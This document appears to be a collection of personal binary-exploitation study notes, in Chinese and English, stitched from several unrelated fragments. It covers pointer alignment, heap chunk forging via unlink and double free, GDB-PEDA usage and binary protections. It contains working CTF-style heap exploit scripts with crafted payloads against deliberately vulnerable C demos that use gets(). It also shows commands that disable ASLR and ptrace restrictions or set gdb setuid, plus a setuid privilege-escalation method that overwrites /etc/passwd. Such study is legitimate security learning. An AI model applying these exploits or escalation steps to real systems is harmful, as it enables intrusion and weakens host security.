Many architectures have a concept called alignment where the hardware is designed to operate on addresses that are multiples of the word size. For example, on a 32-bit processor, objects might be aligned to 32-bit boundaries (4 bytes), and on a 64-bit processor, objects might be aligned to 64-bit boundaries (8 bytes). An aligned pointer is one that points to an address that’s a multiple of the word size, and an unaligned pointer is one that’s not pointing to an address that’s a multiple of the word size.

On most architectures, reading or writing unaligned pointers suffers some sort of penalty. On some processors, doing this causes a bus error, which usually terminates the program immediately. On others, such as x86, unaligned reads and writes are legal but suffer a performance penalty due to how the hardware is structured.

In your code, 0xBAD = 2989 is probably not aligned, since it’s not a multiple of most common word sizes, and the pointer you write to is also probably not aligned.

Hope this helps!

链接地址:https://stackoverflow.com/questions/20183094/what-is-a-misaligned-pointer

亲自搜一搜

随便搜搜bin文件里,

可以看到0x80482E5 esp自身自身进行了对齐,而Libc_csu_fini中实现了对main调用前的初始化操作,很多细节还是需要看

调试下查看下位置,程序执行前,esp地址为:

ESP: 0xffffd0d4 --> 0xffffd2ad 

程序执行以后,栈的地址应该是低地址延伸:

ESP: 0xffffd0d0 --> 0x1

然后,可以看到向下移动了0x04个地址空间,浪费了这点地址,但是对齐了。

Sometimes , compiler will optimize the code by adding some padding to make it align to word boundary
You have to inspect the assembly code to know the exactly stack position

编译器执行操作命令

escape

docker容器逃逸问题研究

docker

.
……………………………………………………………………………………………………………………. 阿萨

docker escape

docker 是一种轻量化虚拟环境,我主要关注如何实现docker逃逸,目前从公开的CVE中可以发现docker逃逸的基本方法

how to get root privilege ?

docker escape
基于docker的逃逸

Linux Pwn 之堆块伪造技术

借鉴下别人的文章,如有冒犯,还望多多包涵

Linux下的堆块伪造

这是一个基本的堆利用技巧,很多堆利用的地方都会用到。比如double free。
这种利用方式的出现是由于unlink的check机制的出现。这里主要从堆溢出和double free两个角度谈一下。

原理

1.ptmalloc的相邻空块合并原则。
2.堆chunk本身的结构机制。

详解

堆chunk判断一个块是否为空仅仅依赖于相邻后块的prev_size最低flag位
如果在堆上构造合理的堆块结构,那么堆管理机制就会误以为我们的伪造的堆块是真正的空堆块。
当释放掉相邻的后块时(这个块是真的),就会触发空块合并。也就达成了堆块伪造的目的。

要求

1
2
3
1.有两个相邻的堆块
2.第一个堆块可溢出第二个
3.释放第二个堆,即可触发。

这种是最常见的利用,即有check的堆溢出利用。

或者

1
2
3
1.有一个已分配的堆
2.有一个指向堆上的可控指针
3.free参数可控

这种情况下,是在分配的一大块堆中强行构造出两块chunk。然后利用那个指向堆上的可控指针来实现free触发漏洞。
这其实是一种double free的利用方式,因为如果你分配了两块堆,然后把这两块堆都释放之后,这些内存会合并到top chunk中。当再次分配堆的时候,还是使用这些内存地址。

那么如果我们进行以下操作:

1
2
3
4
5
1.分配两个堆
2.释放掉这两个堆
3.分配一个可以包含住前面两个堆的大堆块
4.写入这个大堆块构造两个伪chunk
5.通过第2步中释放两个堆

这样对于初始的两个堆来说,就像是double free了,当然本质还是堆块伪造。

利用的效果

如果成功的使用了伪造堆,那么达到的效果是什么呢?首先,是不可能像unlink利用一样任意地址写了。
因为对于目前的ptmalloc来说,有如下check:
current->fd->bd!=current;
current->bd->fd!=current;
为了过掉这个检验我们会用一个指向堆块的全局指针的地址的一个偏移作为伪chunk的fd。
fd=ptr-12;
bd=ptr-8;
然后在断链的过程中,就会把ptr的值改成&ptr-12,感觉很鸡肋是吧?
毕竟费这么大力气只是把一个全局变量的值给改成了他的地址-0xC,但是这个东西确实是这么去利用的。
在CTF中会跟其他的漏洞或功能结合去使用。

两个演示的DEMO

为了具体的说明问题,这里写了两个demo演示效果。

Demo1

*global[80];
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

void *global[80];

int main(void)
{
void *p1,*p2;
p1=malloc(200);
p2=malloc(200);
global[40]=p1;
printf("before exploit:%x\n",global[40]);
puts("read");//for debug
gets(p1);//overflow
free(p2);
printf("after exploit:%x\n",global[40]);
return 0;
}

这是对应于第一种堆溢出覆盖下一块堆的情况的,如果使用下面的exp就会发现global中malloc返回的地址已经变成了 global[40]本身的地址-0xC

zio import *
1
2
3
4
5
6
io=zio('./h1',timeout=9999)
#io.gdb_hint()
io.read_until('read')
sc=l32(0x0)+l32(0xc9)+l32(0x804A100-0xc)+l32(0x0804A100-0x8)+'a'*(200-16)+l32(0xc8)+l32(0xd0)
io.writeline(sc)
io.read()

Demo2

*global[40];
1
2
3
4
5
6
7
8
9
10
11
12
13
14
int main(void)
{
void *p1,*p2,*p3;
p1=malloc(200);
p2=malloc(200);
global[20]=p1;
free(p1);
free(p2);
p3=malloc(500);
puts("get");//for debug
gets(p3);
free(p2);
return;
}

这个Demo展示的是double free。可以看到对于p2指针来说确实是释放了两次。

1
2
3
4
5
6
7
from zio import *
io=zio('./h2',timeout=99999)
#io.gdb_hint()
io.read_until('get')
sc=l32(0x0)+l32(201)+l32(0x804a0b0-0xC)+l32(0x804a0b0-0x8)+'a'*(200-16)+l32(200)+l32(0x128)
io.writeline(sc)
io.read()

这个exp就可以实现利用,感觉这个exp的伪堆块构造要比上面Demo更复杂一些。这个exp我搞了好久,因为不知道为什么一直会触发free的check导致程序崩溃。后来查了一些资料终于明白了,必须要保证你分配的堆与你在其中构造的两个堆块的大小完全一致。
比方说我这里是malloc(500),调试一下发现分配了504(鬼知道为什么),那么就是504-8-200=0x128,如果不跟分配的堆块边境符合的话就会触发check从而crash掉。

by:Ox9A82

GDB_PEDA Exploit 调试插件安装

GDB-peda 神器 利用命令

Key Features:

Enhance the display of gdb: colorize and display disassembly codes, registers, memory information during debugging.
Add commands to support debugging and exploit development (for a full list of commands use peda help):
aslr -- Show/set ASLR setting of GDB
checksec -- Check for various security options of binary
dumpargs -- Display arguments passed to a function when stopped at a call instruction
dumprop -- Dump all ROP gadgets in specific memory range
elfheader -- Get headers information from debugged ELF file
elfsymbol -- Get non-debugging symbol information from an ELF file
lookup -- Search for all addresses/references to addresses which belong to a memory range
patch -- Patch memory start at an address with string/hexstring/int
pattern -- Generate, search, or write a cyclic pattern to memory
procinfo -- Display various info from /proc/pid/
pshow -- Show various PEDA options and other settings
pset -- Set various PEDA options and other settings
readelf -- Get headers information from an ELF file
ropgadget -- Get common ROP gadgets of binary or library
ropsearch -- Search for ROP gadgets in memory
searchmem|find -- Search for a pattern in memory; support regex search
shellcode -- Generate or download common shellcodes.
skeleton -- Generate python exploit code template
vmmap -- Get virtual mapping address ranges of section(s) in debugged process
xormem -- XOR a memory region with a key


用gdb查看内存
格式: x /nfu
说明
x 是 examine 的缩写
n表示要显示的内存单元的个数
f表示显示方式, 可取如下值
x 按十六进制格式显示变量。
d 按十进制格式显示变量。
u 按十进制格式显示无符号整型。
o 按八进制格式显示变量。
t 按二进制格式显示变量。
a 按十六进制格式显示变量。
i 指令地址格式
c 按字符格式显示变量。
f 按浮点数格式显示变量。
u表示一个地址单元的长度
b表示单字节,
h表示双字节,
w表示四字节,
g表示八字节

常用方法:
x/16xw (address) 以16个内存单元,x表示十六进制显示,w表示四字节
x/8xh  (address) 以8个内存单元,x表示十六进制显示,h表示两字节
x/8ih  (address) 以8个内存单位,i表示地址格式表示,主要用于GOT表,PIT表中地址表示,h表示两字节。

   gdb-peda$ x/16iw 0x8048380
   0x8048380 <read@plt>:    jmpDWORD PTR ds:0x804a000
   0x8048386 <read@plt+6>:    push   0x0
=> 0x804838b <read@plt+11>:    jmp0x8048370
   0x8048390 <getegid@plt>:    jmpDWORD PTR ds:0x804a004
   0x8048396 <getegid@plt+6>:    push   0x8
   0x804839b <getegid@plt+11>:    jmp0x8048370
   0x80483a0 <system@plt>:    jmpDWORD PTR ds:0x804a008
   0x80483a6 <system@plt+6>:    push   0x10
   0x80483ab <system@plt+11>:    jmp0x8048370
   0x80483b0 <__gmon_start__@plt>:    jmpDWORD PTR ds:0x804a00c
   0x80483b6 <__gmon_start__@plt+6>:    push   0x18
   0x80483bb <__gmon_start__@plt+11>:    jmp0x8048370
   0x80483c0 <__libc_start_main@plt>:    jmpDWORD PTR ds:0x804a010
   0x80483c6 <__libc_start_main@plt+6>:    push   0x20
   0x80483cb <__libc_start_main@plt+11>:    jmp0x8048370
   0x80483d0 <write@plt>:    jmpDWORD PTR ds:0x804a014



Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal),
t(binary), f(float), a(address), i(instruction), c(char) and s(string).
Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes)
举例
x/3uh buf 
表示从内存地址buf读取内容,
h表示以双字节为一个单位,
3表示三个单位,
u表示按十六进制显示
例子:
n是个局部变量
Breakpoint 1, main (argc=1, argv=0xbffff3a4) at calc.c:7
7int n = atoi(argv[1]);
(gdb) print &n
$1 = (int *) 0xbffff2ec
(gdb) x 0xbffff2ec
0xbffff2ec:0x00282ff4
(gdb) print * (int *) 0xbffff2ec
$2 = 2633716
(gdb) x /4xw 0xbffff2ec
0xbffff2ec:0x00282ff40x080484e00x000000000xbffff378
(gdb) x /4dw 0xbffff2ec
0xbffff2ec:26337161345138880-1073745032
(gdb)

设定参数,输入的参数设置

pset arg 'cyclic_pattern(300)'

linux 指令

ldd

查询bin文件依赖

ubuntu:~/Desktop/pwntools_test$ ldd section_test
linux-gate.so.1 =>  (0xf7728000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7554000)
/lib/ld-linux.so.2 (0x5660a000)

查询libc.so 版本号

https://github.com/niklasb/libc-database 用来查询libc版本信息内容,为exp提供方便

http://libcdb.com/
网上查询版本

checksec 检测保护方式

我们最常见的保护明星

CANARY: disabled
FORTIFY   : disabled
NX: ENABLED
PIE   : disabled
RELRO : Partial

GANNARY(栈保护)

Windows下以security cookie形式存在,这个选项表示栈保护功能有没有开启。

栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。

gcc在4.2版本中添加了-fstack-protector和-fstack-protector-all编译参数以支持栈保护功能,4.9新增了-fstack-protector-strong编译参数让保护的范围更广。

因此在编译时可以控制是否开启栈保护以及程度,例如:

gcc -fno-stack-protector -o test test.c  //禁用栈保护
gcc -fstack-protector -o test test.c   //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o test test.c //启用堆栈保护,为所有函数插入保护代码

FORTIFY

。。。。。。

NX(DEP)

堆栈不可执行,通过修改页属性,不能执行代码。NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

ASLR(PIE)

一般情况下NX(Windows平台上称其为DEP)和地址空间分布随机化(ASLR)会同时工作。

内存地址随机化机制(address space layout randomization),有以下三种情况

  • 0 表示关闭进程地址空间随机化。
  • 1 表示将mmap的基址,stack和vdso页面随机化。
  • 2 表示在1的基础上增加栈(heap)的随机化。

可以防范基于Ret2libc方式的针对DEP的攻击。ASLR和DEP配合使用,能有效阻止攻击者在堆栈上运行恶意代码。

Built as PIE:位置独立的可执行区域(position-independent executables)。这样使得在利用缓冲溢出和移动操作系统中存在的其他内存崩溃缺陷时采用面向返回的编程(return-oriented programming)方法变得难得多。

liunx下关闭PIE的命令如下:

sudo -s echo 0 > /proc/sys/kernel/randomize_va_space

确认ASLR是否已经被打开,”2”表示已经打开

[plain] view plaincopy
shanks@shanks-ubuntu:/home/shanks# cat /proc/sys/kernel/randomize_va_space
2

/proc/sys/kernel/randomize_va_space

切换到root用户来做更新,直接使用sudo会出现下面结果

In any ASLR enabled binary (and most normal binaries for that
matter) there has to be a way for the binary to ‘know’ where the libc functions
are at. The binary creates a PLT stub for functions used in the source. These
are always at a constant address. This PLT stub is essentially a wrapper
function for the actual function in libc. The GOT contains the actual adresses
in libc for the functions used in the program. The actual adresses change from
runtime to runtime, but pointers to the same function are always in the same
spot in the GOT
.

GDB 无法attach进程

gdb attach fails with ptrace: Operation not permitted
Today I ran into a weird problem. I could not attach to my own process with gdb. The process ran under my UID, but gdb refused to attach. This is a problem of wrong permissions, although /proc/[pid]/status looked ok:

1
2
Uid:    1000    1000    1000    1000
Gid: 1000 1000 1000 1000

1
2
3
4

1
2
Uid:    1000    1000    1000    1000
Gid: 1000 1000 1000 1000

I am the owner but cannot attach? Well, I launched gdb as root and could attach. Strange. Without digging deeper into this, my dirty workaround was this:

sudo chmod +s /usr/bin/gdb
1
sudo chmod +s /usr/bin/gdb

Update: Thanks to Mario, who pointed out, that the reason is the Kernel hardening stuff build into the Ubuntu kernel. See his comment how to fix the problem permanently.

why i cannot get a really address for
#

#0  0xf76f9c89 in __kernel_vsyscall ()
#1  0xf75fbb13 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
#2  0x080484df in vulnerable_function ()
#3  0x0804851d in main ()
#4  0xf753e637 in __libc_start_main (main=0x804850a <main>, argc=0x1, 
argv=0xffde0464, init=0x8048540 <__libc_csu_init>, 
fini=0x80485b0 <__libc_csu_fini>, rtld_fini=0xf770a8a0 <_dl_fini>, 
stack_end=0xffde045c) at ../csu/libc-start.c:291
#5  0x08048411 in _start ()
#

Peda 安装指南

Peda 安装使用指南

参考连接:
http://www.ropshell.com/peda/Linux_Interactive_Exploit_Development_with_GDB_and_PEDA_Slides.pdf

Peda的创作者是Long Le ,vns security的研究员,

GDB-peda安装

1 需要安装packages

sudo apt-get install nasm micro-inetd

2 可选安装

sudo apt-get install libc6-dbg vim ssh

3 安装peda-tool

Download peda.tar.gz at: http://ropshell.com/peda/

本地打开

$ tar zxvf peda.tar.gz

创建 本地’.gdbinit’

$ echo “source ~/peda/peda.py” >~/.gdbinit

本地可用的example

Download bhus12-workshop.tar.gz at:

http://ropshell.com/peda/

pwntools error

Thanks for contributing to Pwntools!

When reporting an issue, be sure that you are running the latest released version of pwntools (pip install –upgrade pwntools).

Please verify that your issue occurs on 64-bit Ubuntu 14.04. You can use the Dockerfile on docker.io for quick testing.

$ docker pull pwntools/pwntools:stable
$ docker run -it pwntools/pwntools:stable

If possible, provide a proof-of-concept which demonstrates the problem. Include any binaries or scripts necessary to reproduce the issue, and please include the full debug output via setting the environment variable PWNLIB_DEBUG=1.

pwntool gdb attach

82
down vote
accepted
In Maverick Meerkat (10.10) Ubuntu introduced a patch to disallow ptracing of non-child processes by non-root users - ie. only a process which is a parent of another process can ptrace it for normal users - whilst root can still ptrace every process. Hence why you can use gdb to attach via sudo still.

You can temporarily disable this restriction (and revert to the old behaviour allowing your user to ptrace (gdb) any of their other processes) by doing:

echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
To permanently allow it edit /etc/sysctl.d/10-ptrace.conf and change the line:

kernel.yama.ptrace_scope = 1
To read

kernel.yama.ptrace_scope = 0
For some background on why this change was made, see the Ubuntu wiki

.plt 表示一个函数在libc中的偏移位置,如下代码:

.plt:080483A0 ; ssize_t write(int fd, const void *buf, size_t n)
.plt:080483A0 _write proc near ; CODE XREF: main+2Ap
.plt:080483A0 jmp ds:off_804A010
.plt:080483A0 _write endp

指向了got.plt中的地址,got.plt则指向了plt的实际调用地址,外部调用函数偏移量:
.got.plt:0804A010 off_804A010 dd offset write ; DATA XREF: _writer

外部函数的偏移量则为:

Linux 提权之setuid使用提权

自己收集部分内容,如有错误,请联系youngtala@gmail.com

linxu setuid 安全威胁

setuid 机制

一般查看linux下某命令权限

1
2
3
4

root@localhost# ll /etc/passwd

-rwsr-xr-x 1 root root 22960 Jul 17 2017 /usr/bin/passwd

passwd命令有一个特殊的权限标记s ,存在于文件所有者的权限位上。这是一类特殊的权限SetUID ,当一个具有执行权限的文件设置SetUID权限后,用户执行这个文件时将以文件所有者的身份执行。

举例:passwd命令具有SetUID权限,所有者为root(Linux中的命令默认所有者都是root),也就是说当普通用户使用passwd更改自己密码的时候,那一瞬间会实际以root形式执行,实际在以passwd命令所有者root的身份在执行,root当然可以将密码写入/etc/shadow文件,命令执行完成后该身份也随之消失。

setuid 安全威胁

setuid 可以理解为 临时 root用户的标志位,让普通用户可以以root身份临时打开所用的文件,因此我们可以借助这个标志位实现任意读写。

应用场景

任何用户都用vi编辑任何文件,一般情况下非root用户不可编辑 /etc/shadow文件,如果对vi命令setuid后,任何用户对vi的操作即为root的读写权限操作,造成密码篡改或删除

测试

利用带有suid标志位的程序来实现提权,例如nmap就是

suid标志位提权实现思路

如何发现文件系统中带有suid位

参考如何发现suid位的程序

参考Linux下权限设置方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

bash-4.3# find / -user root -perm -4000 -exec ls -ldb {} \; > /tmp/ckprm

bash-4.3# cat ckprm

-rwsr-xr-x 1 root root 2302 May 7 2017 /etc/archivecheck.sh

-rwsr-xr-x 1 root root 1457 May 7 2017 /etc/logrotate.eos

-rwsr-xr-x 1 root root 1750 May 7 2017 /etc/pre_logrotate_cleanup.sh

-rwsr-xr-x 1 root root 59364 Jan 11 2013 /usr/bin/chage

-rws--x--x 1 root root 23276 Apr 20 2017 /usr/bin/chfn

-rws--x--x 1 root root 23228 Apr 20 2017 /usr/bin/chsh

-rwsr-xr-x 1 root root 6592 May 7 2017 /usr/bin/conlogd

-rwsr-sr-x 1 root root 52584 Nov 27 2012 /usr/bin/crontab

-rwsr-xr-x 1 root root 10708 May 7 2017 /usr/bin/cvxreplsh

-rwsr-xr-x 1 root root 76632 Jan 11 2013 /usr/bin/gpasswd

-rwsr-xr-x 1 root root 15028 May 7 2017 /usr/bin/issh

-rwsr-xr-x 1 root root 48224 Apr 20 2017 /usr/bin/mount

-rwsr-xr-x 1 root root 36292 Jan 11 2013 /usr/bin/newgrp

-rwsr-xr-x 1 root root 10692 Apr 21 2017 /usr/bin/oomadj

-rwsr-xr-x 1 root root 27180 Dec 4 2012 /usr/bin/passwd

-rwsr-xr-x 1 root root 36172 Apr 20 2017 /usr/bin/su

---s--x--x 1 root root 129792 Feb 28 2013 /usr/bin/sudo

-rwsr-xr-x 1 root root 23184 Apr 20 2017 /usr/bin/umount

-rwsr-x--- 1 root dbus 335288 Jun 17 2013 /usr/lib/dbus-1/dbus-daemon-launch-helper

-rwsr-xr-x 1 root root 1764212 May 7 2017 /usr/sbin/cliribd

-rwsr-xr-x 1 root root 112640 Apr 20 2017 /usr/sbin/mksquashfs

-rwsr-xr-x 1 root root 109036 Apr 1 2013 /usr/sbin/mount.nfs

-rwsr-xr-x 1 root root 10556 Jul 12 2013 /usr/sbin/pam_timestamp_check

-rwsr-xr-x 1 root root 779456 Apr 20 2017 /usr/sbin/tcpdump

-rwsr-xr-x 1 root root 31516 Jul 12 2013 /usr/sbin/unix_chkpwd

-rwsr-xr-x 1 root root 74804 Apr 20 2017 /usr/sbin/unsquashfs

-rws--x--x 1 root root 36064 Sep 22 2012 /usr/sbin/userhelper

-rwsr-xr-x 1 root root 10768 Mar 15 2013 /usr/sbin/usernetctl

可以利用已知可加载root执行权限的程序完成提权操作

利用mksquashfs 加载一个只包含/etc/passwd文件,然后释放到本地,因为具有suid权限,可以覆盖root权限下的/etc/passwd,通过自己设定的用户名口令进入

后续提权

提权方法总结

参考链接

参考Linux下的密码Hash——加密方式与破解方法的技术Linux下的密码Hash——加密方式与破解方法的技术

suid,guid标志位详解